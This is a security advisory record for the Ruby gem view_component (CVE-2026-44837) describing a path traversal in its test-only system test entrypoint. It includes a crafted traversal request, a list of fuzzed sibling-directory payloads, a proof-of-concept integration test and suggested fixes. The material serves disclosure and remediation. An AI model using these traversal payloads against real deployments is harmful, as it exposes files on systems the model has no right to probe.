{"id":"GHSA-hg3h-g7xc-f7vp","summary":"view_component: System Test Entry Point Path Check Allows Sibling Directory Escape","details":"### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base:  /app/tmp/view_components\nOutside path:  /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest \u003c ActionDispatch::IntegrationTest\n  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n    parent_dir = File.dirname(base_dir)\n    sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n    outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n    FileUtils.mkdir_p(sibling_dir)\n    File.write(outside_file, \"\u003cdiv\u003eVC_SYSTEM_TEST_TRAVERSAL_POC\u003c/div\u003e\")\n\n    get \"/_system_test_entrypoint\", params: {\n      file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n    }\n\n    assert_response :success\n    assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n  ensure\n    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file\n    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)\n  end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n  base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n  relative_path = path.relative_path_from(base_path)\n\n  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n  @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n  raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it","aliases":["CVE-2026-44837"],"modified":"2026-05-10T04:44:26.936339977Z","published":"2026-05-08T23:33:58Z","related":["CGA-h2vg-6hh3-hvrf"],"database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-22"],"github_reviewed":true,"severity":"MODERATE","github_reviewed_at":"2026-05-08T23:33:58Z"},"references":[{"type":"WEB","url":"https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp"},{"type":"PACKAGE","url":"https://github.com/ViewComponent/view_component"}],"affected":[{"package":{"name":"view_component","ecosystem":"RubyGems","purl":"pkg:gem/view_component"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"4.9.0"}]}],"versions":["3.0.0","3.1.0","3.10.0","3.11.0","3.12.0","3.12.1","3.13.0","3.14.0","3.15.0","3.15.1","3.16.0","3.17.0","3.18.0","3.19.0","3.2.0","3.20.0","3.21.0","3.22.0","3.23.0","3.23.1","3.23.2","3.24.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","4.0.0","4.0.0.alpha1","4.0.0.alpha2","4.0.0.alpha3","4.0.0.alpha4","4.0.0.alpha5","4.0.0.alpha6","4.0.0.alpha7","4.0.0.rc1","4.0.0.rc2","4.0.0.rc3","4.0.0.rc4","4.0.0.rc5","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.5.0","4.6.0","4.7.0","4.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hg3h-g7xc-f7vp/GHSA-hg3h-g7xc-f7vp.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}